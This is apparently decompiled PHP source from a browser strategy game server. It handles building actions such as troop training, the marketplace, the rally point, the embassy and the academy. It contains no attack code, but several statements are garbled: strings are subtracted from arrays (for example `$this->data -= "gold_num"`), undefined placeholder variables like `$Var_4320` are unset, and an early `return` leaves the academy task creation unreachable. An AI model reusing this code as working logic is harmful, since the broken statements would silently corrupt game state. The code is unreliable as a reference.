$this->gameMetadata['items'][$this->buildProperties['building']['item_id']]['troop_upgrades'][$troopId][$level];            if ( !$this->isResourcesAvailable( $buildingMetadata['resources'] ) )            {            }            else            {                $calcConsume = intval( $buildingMetadata['time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->villageId = $this->data['selected_village_id'];                $newTask->procParams = $troopId." ".( $level + 1 );                $newTask->tag = $buildingMetadata['resources'];                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleMainBuilding( )    {        if ( $this->isPost( ) && isset( $_POST['drbid'] ) && 19 <= intval( $_POST['drbid'] ) && intval( $_POST['drbid'] ) <= sizeof( $this->buildings ) && isset( $this->buildings[$_POST['drbid']] ) && 0 < $this->buildings[$_POST['drbid']]['level'] && !isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $item_id = $this->buildings[$_POST['drbid']]['item_id'];            $calcConsume = intval( $this->gameMetadata['items'][$item_id]['levels'][$this->buildings[$_POST['drbid']]['level'] - 1]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 400 ) );            $newTask = new QueueTask( QS_BUILD_DROP, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->buildingId = $item_id;            $newTask->procParams = $this->buildings[$_POST['drbid']]['index'];            $this->queueModel->addTask( $newTask );        }        else if ( isset( $_GET['qid'] ) && is_numeric( $_GET['qid'] ) && isset( $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && isset( $_GET['d'] ) && isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );        }    }
    public function handleRallyPoint( )    {        if ( isset( $_GET['d'] ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['d'] ) );        }        $this->rallyPointProperty = array(            "troops_in_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_intrap_num" )            ),            "troops_out_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_out_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_out_intrap_num" )            ),            "troops_in_oases" => array( ),            "war_to_village" => $this->queueModel->tasksInQueue['war_troops']['to_village'],            "war_from_village" => $this->queueModel->tasksInQueue['war_troops']['from_village'],            "war_to_oasis" => $this->queueModel->tasksInQueue['war_troops']['to_oasis']        );        $village_oases_id = trim( $this->data['village_oases_id'] );        if ( $village_oases_id != "" )        {            $m = new BuildModel( );            $result = $m->getOasesDataById( $village_oases_id );            while ( $result->next( ) )            {                $this->rallyPointProperty['troops_in_oases'][$result->row['id']] = array(                    "oasisRow" => $result->row,                    "troopsTable" => $this->_getOasisTroopsList( $result->row['troops_num'] ),                    "war_to" => isset( $this->rallyPointProperty['war_to_oasis'][$result->row['id']] ) ? $this->rallyPointProperty['war_to_oasis'][$result->row['id']] : NULL                );            }            $m->dispose( );        }    }
   public function _canCancelWarTask( $taskType, $taskId )    {        if ( !QueueTask::iscancelabletask( $taskType ) )        {            return FALSE;        }        $timeout = QueueTask::getmaxcanceltimeout( $taskType );        if ( 0 - 1 < $timeout )        {            $_task = NULL;            foreach ( $this->queueModel->tasksInQueue[$taskType] as $t )            {                if ( !( $t['id'] == $taskId ) )                {                    continue;                }                $_task = $t;                break;                break;            }            if ( $_task == NULL )            {                return FALSE;            }            $elapsedTime = $t['elapsedTime'];            if ( $timeout < $elapsedTime )            {                return FALSE;            }        }        return TRUE;    }
    public function _getOasisTroopsList( $troops_num )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $troops_num ) != "" )        {            $t_arr = explode( "|", $troops_num );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = $t2_arr[0];                $villageData = $m->getVillageData2ById( $vid );                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function _getTroopsList( $key )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $this->data[$key] ) != "" )        {            $t_arr = explode( "|", $this->data[$key] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = intval( $t2_arr[0] );                $villageData = NULL;                if ( $vid == 0 - 1 )                {                    $vid = $this->data['selected_village_id'];                    $villageData = array( "id" => $vid, "village_name" => $this->data['village_name'], "player_id" => $this->player->playerId, "player_name" => buildings_p_thisvillage );                }                else                {                    $villageData = $m->getVillageData2ById( $vid );                }                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                if ( $vid == $this->data['selected_village_id'] )                {                    $returnTroops[$vid]['hasHero'] = intval( $this->data['hero_in_village_id'] ) == intval( $this->data['selected_village_id'] );                    if ( $returnTroops[$vid]['hasHero'] )                    {                         $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$this->data['hero_troop_id']]['crop_consumption'];                       }                }                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function handleMarketplace( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $itemLevel = $this->buildings[$this->buildingIndex]['level'];        $tribeMetadata = $this->gameMetadata['tribes'][$this->data['tribe_id']];        $tradeOfficeLevel = $this->_getMaxBuildingLevel( 28 );        $capacityFactor = $tradeOfficeLevel == 0 ? 1 : $this->gameMetadata['items'][28]['levels'][$tradeOfficeLevel - 1]['value'] / 100;        $capacityFactor *= $this->gameMetadata['game_speed'];        $total_merchants_num = $this->gameMetadata['items'][$itemId]['levels'][$itemLevel - 1]['value'];        $exist_num = $total_merchants_num - $this->queueModel->tasksInQueue['out_merchants_num'] - $this->data['offer_merchants_count'];        if ( $exist_num < 0 )        {            $exist_num = 0;        }        $this->merchantProperty = array( "speed" => $tribeMetadata['merchants_velocity'] * $this->gameMetadata['game_speed'], "capacity" => floor( $tribeMetadata['merchants_capacity'] * $capacityFactor ), "total_num" => $total_merchants_num, "exits_num" => $exist_num, "confirm_snd" => FALSE, "same_village" => FALSE, "vRow" => NULL );        if ( $this->selectedTabIndex == 0 )        {            $m = new BuildModel( );            if ( $this->isPost( ) || isset( $_GET['vid2'] ) )            {                $resources = array( "1" => isset( $_POST['r1'] ) ? intval( $_POST['r1'] ) : 0, "2" => isset( $_POST['r2'] ) ? intval( $_POST['r2'] ) : 0, "3" => isset( $_POST['r3'] ) ? intval( $_POST['r3'] ) : 0, "4" => isset( $_POST['r4'] ) ? intval( $_POST['r4'] ) : 0 );                $this->merchantProperty['confirm_snd'] = $this->isPost( ) ? isset( $_POST['act'] ) && $_POST['act'] == 1 : isset( $_GET['vid2'] );                $map_size = $this->setupMetadata['map_size'];                $doSend = FALSE;                if ( $this->merchantProperty['confirm_snd'] )                {                    $vRow = NULL;                    if ( trim( $_POST['y'] ) != "" )                    {                        $vid = $this->__getVillageId( $map_size, $this->__getCoordInRange( $map_size, intval( $_POST['x'] ) ), $this->__getCoordInRange( $map_size, intval( $_POST['y'] ) ) );                        $vRow = $m->getVillageDataById( $vid );                    }                    else                    {                        if ( isset( $_POST['vname'] ) && trim( $_POST['vname'] ) != "" )                        {                            $vRow = $m->getVillageDataByName( trim( $_POST['vname'] ) );                        }                        else                        {                            if ( isset( $_GET['vid2'] ) )                            {                                $vRow = $m->getVillageDataById( intval( $_GET['vid2'] ) );                                if ( $vRow != NULL )                                {                                    $_POST['x'] = $vRow['rel_x'];                                    $_POST['y'] = $vRow['rel_y'];                                }                            }                        }                    }                }                else                {                    $doSend = TRUE;                    $vRow = $m->getVillageDataById( intval( $_POST['vid2'] ) );                    $this->merchantProperty['showError'] = FALSE;                    $_POST['r1'] = $_POST['r2'] = $_POST['r3'] = $_POST['r4'] = "";                }                if ( 0 < intval( $vRow['player_id'] ) && $m->getPlayType( intval( $vRow['player_id'] ) ) == PLAYERTYPE_ADMIN )                {                    $this->merchantProperty['showError'] = FALSE;                    $this->merchantProperty['confirm_snd'] = FALSE;                }                else                {                    $this->merchantProperty['vRow'] = $vRow;                    $vid = $this->merchantProperty['to_vid'] = $vRow != NULL ? $vRow['id'] : 0;                    $rel_x = $vRow['rel_x'];                    $rel_y = $vRow['rel_y'];                    $this->merchantProperty['same_village'] = $vid == $this->data['selected_village_id'];                    $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources );                    $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources[1] + $resources[2] + $resources[3] + $resources[4] ) / $this->merchantProperty['capacity'] );                    $this->merchantProperty['confirm_snd'] = 0 < $vid && $this->merchantProperty['available_res'] && 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] && !$this->merchantProperty['same_village'];                    $this->merchantProperty['showError'] = !$this->merchantProperty['confirm_snd'];                    $distance = WebHelper::getdistance( $this->data['rel_x'], $this->data['rel_y'], $rel_x, $rel_y, $this->setupMetadata['map_size'] / 2 );                    $this->merchantProperty['vRow_time'] = intval( $distance / $this->merchantProperty['speed'] * 3600 );                    if ( !$this->merchantProperty['showError'] && $doSend && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $this->merchantProperty['confirm_snd'] = FALSE;                        $this->merchantProperty -= "exits_num";                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $this->merchantProperty['vRow_time'] );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $vRow['player_id'];                        $newTask->toVillageId = $vid;                        $newTask->procParams = $this->merchantProperty['vRow_merchant_num']."|".( $resources[1]." ".$resources[2]." ".$resources[3]." ".$resources[4] );                        $newTask->tag = $resources;                        $this->queueModel->addTask( $newTask );                    }                }            }            $m->dispose( );        }        else if ( $this->selectedTabIndex == 1 )        {            $m = new BuildModel( );            $showOfferList = TRUE;            if ( isset( $_GET['oid'] ) && 0 < intval( $_GET['oid'] ) )            {                $oRow = $m->getOffer2( intval( $_GET['oid'] ), $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2 );                if ( $oRow != NULL )                {                    $aid = 0;                    if ( $oRow['alliance_only'] && 0 < intval( $this->data['alliance_id'] ) )                    {                        $aid = $m->getPlayerAllianceId( $oRow['player_id'] );                    }                    $res2 = explode( "|", $oRow['offer'] );                    $res1 = explode( "|", $oRow['offer'] );                    list( $res1, $res2 ) = $res1;                    $resArr1 = explode( " ", $res1 );                    $needResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res1_item_id = 0;                    $res1_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res1_item_id = $i + 1;                            $res1_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $resArr1 = explode( " ", $res2 );                    $giveResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res2_item_id = 0;                    $res2_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res2_item_id = $i + 1;                            $res2_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $distance = $oRow['timeInSeconds'] / 3600 * $oRow['merchants_speed'];                    $acceptResult = $this->_canAcceptOffer( $needResources, $giveResources, $oRow['village_id'], $oRow['alliance_only'], $aid, $oRow['max_time'], $distance );                    if ( $acceptResult == 5 && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $showOfferList = FALSE;                        $this->merchantProperty['offerProperty'] = array( "player_id" => $oRow['player_id'], "player_name" => $oRow['player_name'], "res1_item_id" => $res1_item_id, "res1_value" => $res1_value, "res2_item_id" => $res2_item_id, "res2_value" => $res2_value );                        $merchantNum = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $distance / ( $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] ) * 3600 );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $oRow['player_id'];                        $newTask->toVillageId = $oRow['village_id'];                        $newTask->procParams = $merchantNum."|".( $giveResources[1]." ".$giveResources[2]." ".$giveResources[3]." ".$giveResources[4] );                        $newTask->tag = $giveResources;                        $this->queueModel->addTask( $newTask );                        $newTask = new QueueTask( QS_MERCHANT_GO, $oRow['player_id'], $oRow['timeInSeconds'] );                        $newTask->villageId = $oRow['village_id'];                        $newTask->toPlayerId = $this->player->playerId;                        $newTask->toVillageId = $this->data['selected_village_id'];                        $newTask->procParams = $oRow['merchants_num']."|".( $needResources[1]." ".$needResources[2]." ".$needResources[3]." ".$needResources[4] );                        $newTask->tag = array( "1" => 0, "2" => 0, "3" => 0, "4" => 0 );                        $this->queueModel->addTask( $newTask );                        $m->removeMerchantOffer( intval( $_GET['oid'] ), $oRow['player_id'], $oRow['village_id'] );                    }                }            }            $this->merchantProperty['showOfferList'] = $showOfferList;            if ( $showOfferList )            {                $rowsCount = $m->getAllOffersCount( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                $this->pageCount = 0 < $rowsCount ? ceil( $rowsCount / $this->pageSize ) : 1;                $this->pageIndex = isset( $_GET['p'] ) && is_numeric( $_GET['p'] ) && intval( $_GET['p'] ) < $this->pageCount ? intval( $_GET['p'] ) : 0;                $this->merchantProperty['all_offers'] = $m->getAllOffers( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'], $this->pageIndex, $this->pageSize );            }            $m->dispose( );        }        else        {            if ( $this->selectedTabIndex == 2 )            {                $m = new BuildModel( );                $this->merchantProperty['showError'] = FALSE;                $this->merchantProperty['showError2'] = FALSE;                $this->merchantProperty['showError3'] = FALSE;                if ( $this->isPost( ) )                {                     if ( isset( $_POST['m1'] ) && 0 < intval( $_POST['m1'] ) && isset( $_POST['m2'] ) && 0 < intval( $_POST['m2'] ) && isset( $_POST['rid1'] ) && 0 < intval( $_POST['rid1'] ) && isset( $_POST['rid2'] ) && 0 < intval( $_POST['rid2'] ) )                        {                        $resources1 = array( "1" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 1 ? intval( $_POST['m1'] ) : 0, "2" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 2 ? intval( $_POST['m1'] ) : 0, "3" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 3 ? intval( $_POST['m1'] ) : 0, "4" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 4 ? intval( $_POST['m1'] ) : 0 );                        $resources2 = array( "1" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 1 ? intval( $_POST['m2'] ) : 0, "2" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 2 ? intval( $_POST['m2'] ) : 0, "3" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 3 ? intval( $_POST['m2'] ) : 0, "4" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 4 ? intval( $_POST['m2'] ) : 0 );                        if ( intval( $_POST['rid1'] ) == intval( $_POST['rid2'] ) || intval( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) <= 0 || intval( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) <= 0 )                        {                            $this->merchantProperty['showError'] = TRUE;                        }                        else if ( 10 < ceil( ( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) / ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) ) )                        {                            $this->merchantProperty['showError'] = TRUE;                            $this->merchantProperty['showError3'] = TRUE;                        }                        $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources1 );                        if ( $this->merchantProperty['available_res'] && !$this->merchantProperty['showError'] )                        {                            $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) / $this->merchantProperty['capacity'] );                            if ( 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] )                            {                                $this->merchantProperty -= "exits_num";                                $this->data += "offer_merchants_count";                                $offer = $resources1[1]." ".$resources1[2]." ".$resources1[3]." ".$resources1[4]."|".( $resources2[1]." ".$resources2[2]." ".$resources2[3]." ".$resources2[4] );                                $m->addMerchantOffer( $this->player->playerId, $this->data['name'], $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->merchantProperty['vRow_merchant_num'], $offer, isset( $_POST['ally'] ), 0 < intval( $_POST['d2'] ) ? intval( $_POST['d2'] ) : 0, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                                foreach ( $resources1 as $k => $v )                                {                                    $this->resources[$k] -= "current_value";                                }                                $this->queueModel->_updateVillage( FALSE, FALSE );                            }                            else                            {                                $this->merchantProperty['showError'] = TRUE;                            }                        }                        else                        {                            $this->merchantProperty['showError'] = TRUE;                        }                    }                    else                    {                        $this->merchantProperty['showError'] = TRUE;                        $this->merchantProperty['showError2'] = TRUE;                    }                }                else if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                {                    $row = $m->getOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    if ( $row != NULL )                    {                        $this->merchantProperty += "exits_num";                        $this->data -= "offer_merchants_count";                        $resources2 = explode( "|", $row['offer'] );                        $resources1 = explode( "|", $row['offer'] );                        list( $resources1, $resources2 ) = $resources1;                        $resourcesArray1 = explode( " ", $resources1 );                        $res = array( );                        $i = 0;                        $_c = sizeof( $resourcesArray1 );                        while ( $i < $_c )                        {                            $res[$i + 1] = $resourcesArray1[$i];                            ++$i;                        }                        foreach ( $res as $k => $v )                        {                            $this->resources[$k] += "current_value";                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m->removeMerchantOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    }                }                $this->merchantProperty['offers'] = $m->getOffers( $this->data['selected_village_id'] );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 && $this->isPost( ) && isset( $_POST['m2'] ) && is_array( $_POST['m2'] ) && sizeof( $_POST['m2'] ) == 4 && $this->gameMetadata['plusTable'][6]['cost'] <= $this->data['gold_num'] )                {                    $resources = array( "1" => intval( $_POST['m2'][0] ), "2" => intval( $_POST['m2'][1] ), "3" => intval( $_POST['m2'][2] ), "4" => intval( $_POST['m2'][3] ) );                    $oldSum = $this->resources[1]['current_value'] + $this->resources[2]['current_value'] + $this->resources[3]['current_value'] + $this->resources[4]['current_value'];                    $newSum = $resources[1] + $resources[2] + $resources[3] + $resources[4];                    if ( $newSum <= $oldSum )                    {                        foreach ( $resources as $k => $v )                        {                            $this->resources[$k]['current_value'] = $v;                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m = new BuildModel( );                        $m->decreaseGoldNum( $this->player->playerId, $this->gameMetadata['plusTable'][6]['cost'] );                        $m->dispose( );                    }                }            }        }    }
    public function handleEmbassy( )    {        if ( 0 < intval( $this->data['alliance_id'] ) )        {        }        else        {            $this->embassyProperty = array( "level" => $this->buildings[$this->buildingIndex]['level'], "invites" => NULL, "error" => 0, "ally1" => "", "ally2" => "" );            $maxPlayers = $this->gameMetadata['items'][18]['levels'][$this->embassyProperty['level'] - 1]['value'];            $this->embassyProperty['ally1'] = $ally1 = trim( $_POST['ally1'] );            $this->embassyProperty['ally2'] = $ally2 = trim( $_POST['ally2'] );            if ( $ally1 == "" || $ally2 == "" )            {                $this->embassyProperty['error'] = $ally1 == "" && $ally2 == "" ? 3 : $ally1 == "" ? 1 : 2;            }            else            {                $m = new BuildModel( );                if ( !$m->allianceExists( $this->embassyProperty['ally1'] ) )                {                    $this->data['alliance_name'] = $this->embassyProperty['ally1'];                    $this->data['alliance_id'] = $m->createAlliance( $this->player->playerId, $this->embassyProperty['ally1'], $this->embassyProperty['ally2'], $maxPlayers );                    $m->dispose( );                }                else                {                    $this->embassyProperty['error'] = 4;                    $m->dispose( );                }            }            $invites_alliance_ids = trim( $this->data['invites_alliance_ids'] );            $this->embassyProperty['invites'] = array( );            if ( $invites_alliance_ids != "" )            {                $_arr = explode( "\n", $invites_alliance_ids );                foreach ( $_arr as $_s )                {                    $allianceName = explode( " ", $_s, 2 );                    $allianceId = explode( " ", $_s, 2 );                    list ( $allianceId, $allianceName ) = $allianceId;                    $this->embassyProperty['invites'][$allianceId] = $allianceName;                }            }            if ( !$this->isPost( ) )            {                if ( isset( $_GET['a'] ) && 0 < intval( $_GET['a'] ) )                {                    $allianceId = intval( $_GET['a'] );                    if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                    {                        $m = new BuildModel( );                        $acceptResult = $m->acceptAllianceJoining( $this->player->playerId, $allianceId );                        if ( $acceptResult == 2 )                        {                            $this->data['alliance_name'] = $this->embassyProperty['invites'][$allianceId];                            $this->data['alliance_id'] = $allianceId;                            unset( $Var_4320['invites'][$allianceId] );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                        }                        else if ( $acceptResult == 1 )                        {                            $this->embassyProperty['error'] = 15;                        }                        $m->dispose( );                    }                }                else                {                    if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                    {                        $allianceId = intval( $_GET['d'] );                        if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                        {                            unset( $Var_5112['invites'][$allianceId] );                            $m = new BuildModel( );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                            $m->dispose( );                        }                    }                }            }        }    }
    public function handleWarrior( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            if ( $researches_done == 1 && 0 < $this->gameMetadata['troops'][$troopId]['gold_needed'] )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        $this->warriorMessage = "";        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $cropConsume = 0;            $totalGoldsNeeded = 0;            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) )                {                    continue;                }                $totalGoldsNeeded += $this->gameMetadata['troops'][$troopId]['gold_needed'] * $num;                $cropConsume += $this->gameMetadata['troops'][$troopId]['crop_consumption'] * $num;            }            if ( $totalGoldsNeeded <= 0 )            {            }            else            {                $canProcess = $totalGoldsNeeded <= $this->data['gold_num'];                $this->warriorMessage = $canProcess ? 1 : 2;                if ( $canProcess )                {                    $troopsString = "";                    foreach ( $this->troops as $tid => $num )                    {                        if ( $tid == 99 )                        {                            continue;                        }                       $neededNum = isset( $this->troopsUpgrade[$tid], $_POST['tf'][$tid] ) ? $_POST['tf'][$tid] : 0;                        if ( $troopsString != "" )                        {                            $troopsString .= ",";                        }                        $troopsString .= $tid." ".$neededNum;                    }                    $m = new BuildModel( );                    $m->decreaseGoldNum( $this->player->playerId, $totalGoldsNeeded );                    $m->dispose( );                    $this->data -= "gold_num";                    $procParams = $troopsString."|0||||||1";                    $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];                    $bLevel = $this->buildings[$this->buildingIndex]['level'];                    $needed_time = $buildingMetadata['levels'][$bLevel - 1]['value'] * 3600;                    $newTask = new QueueTask( QS_WAR_REINFORCE, 0, $needed_time );                    $newTask->villageId = 0;                    $newTask->toPlayerId = $this->player->playerId;                    $newTask->toVillageId = $this->data['selected_village_id'];                    $newTask->procParams = $procParams;                    $newTask->tag = array( "troops" => NULL, "hasHero" => FALSE, "resources" => NULL, "troopsCropConsume" => $cropConsume );                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleTroopBuilding( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgradeType = QS_TROOP_TRAINING;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                {                    continue;                }                $timeFactor = 1;                if ( $this->gameMetadata['troops'][$troopId]['is_cavalry'] == TRUE )                {                    $flvl = $this->_getMaxBuildingLevel( 41 );                    if ( 0 < $flvl )                    {                        $timeFactor -= $this->gameMetadata['items'][41]['levels'][$flvl - 1]['value'] / 100;                    }                }                $troopMetadata = $this->gameMetadata['troops'][$troopId];                $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) * $timeFactor );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->threads = $num;                $newTask->villageId = $this->data['selected_village_id'];                $newTask->buildingId = $this->buildProperties['building']['item_id'];                $newTask->procParams = $troopId;                $newTask->tag = array( "1" => $troopMetadata['training_resources'][1] * $this->buildingTribeFactor * $num, "2" => $troopMetadata['training_resources'][2] * $this->buildingTribeFactor * $num, "3" => $troopMetadata['training_resources'][3] * $this->buildingTribeFactor * $num, "4" => $troopMetadata['training_resources'][4] * $this->buildingTribeFactor * $num );                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleAcademy( )    {        $this->troopsUpgradeType = QS_TROOP_RESEARCH;        $this->troopsUpgrade = array( "available" => array( ), "soon" => array( ) );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 0 )            {                $this->troopsUpgrade[$this->_canDoResearches( $troopId ) ? "available" : "soon"][] = $troopId;            }        }        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && $this->_canDoResearches( intval( $_GET['a'] ) ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $buildingMetadata = $this->gameMetadata['troops'][$troopId];            return;            $calcConsume = intval( $buildingMetadata['research_time_consume'] / $this->gameSpeed );            $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->procParams = $troopId;            $newTask->tag = $buildingMetadata['research_resources'];            $this->queueModel->addTask( $newTask );        }    }
